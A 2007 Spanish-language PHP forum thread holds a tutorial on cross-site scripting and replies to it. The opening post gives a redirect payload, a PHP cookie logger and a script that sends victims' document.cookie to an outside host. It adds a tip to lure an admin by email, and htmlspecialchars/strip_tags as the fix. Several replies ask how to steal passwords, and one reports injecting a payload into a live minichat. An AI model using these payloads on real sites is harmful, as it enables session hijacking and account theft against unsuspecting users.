Comunidad PHPeros

Lenguajes => General => Mensaje iniciado por: alienmaster en 15 de Septiembre de 2007, 15:49:35 pm

Título: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: alienmaster en 15 de Septiembre de 2007, 15:49:35 pm
El siguiente tutorial esta escrito por mi 100%, en el podreis ver como vulnerar o fixear(reparar) un XSS. Lo podeis ver en mi blog, http://4cosas.com

Definicion
El XSS es un ataque explotando una inyeccion HTML en un sistema web. Mucha gente piensa el que solo sirva para redireccionar las visitas d ela web victima a otra web, deformar la web victima, etc...

Codigo Vulnerable:
Un ejemplo de vulnerabilidad XSS seria...

<?
echo $_GET['id'];
?>

le entramos desde file.php?id=hola <h1>capullo</h1> y como veremos sale la frase "hola capullo" con la palbra capullo en negrita, lo que significa que se puede meter codigo HTML desde una variable en la url.

Como explotar un XSS
Hay miles de formas de explotar un XSS, su por ejemplo se tratara de un tagboard vulnerable a XSS en los mensajes y te interesa redireccionar las viistas de la web pues tan solo bastaria con meter un code HTML de redireccion, por ejemplo:
Código: [Seleccionar]
<META HTTP-EQUIV='Refresh' CONTENT='1; URL=http://4cosas.com/hacked.html'>ese code redireccionaria las visitas, ideal para tags, guestbooks, etc.

Tambien podemos explotar el XSS robando las cookies del usuario, ahora es cuando tambien entra la ingenieria social, seria el hacer que el admin entre a una url, enviandole un email diciendole k entro o yo que se, eso lo pensais vosotros Para robarle las cookies deberiamos crear antes que nada nosotros un code php como el siguiente:

<?php
$archivo = fopen('log.htm','a');
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<br>Cookies de usuario de'.$re.'.<br>IP:'.$ip.'<br>Fecha:'.$fecha.'<br>Cookies:<br>'.$_GET['c'].'<br>');
fclose($archivo);
?>
Lo llamaremos log.php por dar un ejemplo, y crearemos el archivo log.htm donde se guardaran las cookies que robemos. Ahora para robar las cookies lo que tenemos que hacer es meter el siguiente script en la web vulnerable:
Código: [Seleccionar]
<script>window.location='http://tuweb.com/log.php?c='+document.cookie;</script>la persona que visite la web vulnerable infectada por ese code se le robaran sus cookies. Asi de simple podremos explotar el XSS.

Protegerse de XSS
Para protegernos de XSS el php ofrece distintas funciones. En este caso usaremos htmlspecialchars(), se usaria asi:
<?
echo htmlspecialchars($_GET['id']);
?>
de esta forma mostrara el HTML, pero no lo ejecutara. Si por el contrario quieres que borre todo el HTML, es decir que ni lo muestre usariamos la funcion strip_tags(), esta borra todo codigo HTML.
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: CarlosRdrz en 15 de Septiembre de 2007, 17:11:30 pm
Muy bueno tio.
Me mola mucho que pongas cosas asi de seguridad, puesto que de esta no tengo ni $"!·$ idea, al contrario de lo que creia jaja.

Un saludo y haber si pones mas cosas de seguridad.
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: naveda en 16 de Septiembre de 2007, 16:18:50 pm
Aquí teneis mas informacion sobre codigos XSS: http://ha.ckers.org/xss.html
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: FeDe en 17 de Septiembre de 2007, 23:42:40 pm
Aquí teneis mas informacion sobre codigos XSS: http:// ha.ckers.org/xss.html

Ahora ya se ve la dirección, Naveda arreglalo porque no funcionan las URL...
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: naveda en 19 de Septiembre de 2007, 17:57:40 pm
¿Como que no se ve? Seguro que si se ve ahora...
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: Frank005 en 05 de Octubre de 2007, 19:15:53 pm
Hola,

Me interesó eso de robar cookies de otros usuarios. Pero que pueden llegar a contener los cookies de un usuario ??
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: Revancha en 05 de Octubre de 2007, 22:17:47 pm
Datos... Ejemplo el usuario y password alguna web o algo asi
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: Frank005 en 06 de Octubre de 2007, 01:35:09 am
Lo probé pero me dio nomas la Ip y unas fechas. Pero como sería para que te de contraseñas o algo asi ??  :P
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: kekoman en 11 de Octubre de 2007, 21:51:58 pm
jaja, al poner el code de abajo en el minichat infokeko me ha mostrado el nombre de un usuario  xD
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url
me mostro asi:
<OBJECT classid=clsid:ae24fdaeron-03c6-11d1-8b76-0080c744f389><param name=url
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: kekoman en 26 de Diciembre de 2007, 21:16:22 pm
no puedo robar las cookies con el código de alienmaster  :-\ :-\
Título: Re: XSS - Cross site scripting [Atacar y Defenderse]
Publicado por: westwest en 27 de Diciembre de 2007, 14:06:04 pm
Eso de htmlspecialchars y strip_tags, puedes meter dentro de eso el codigo entero o debes meter x partes?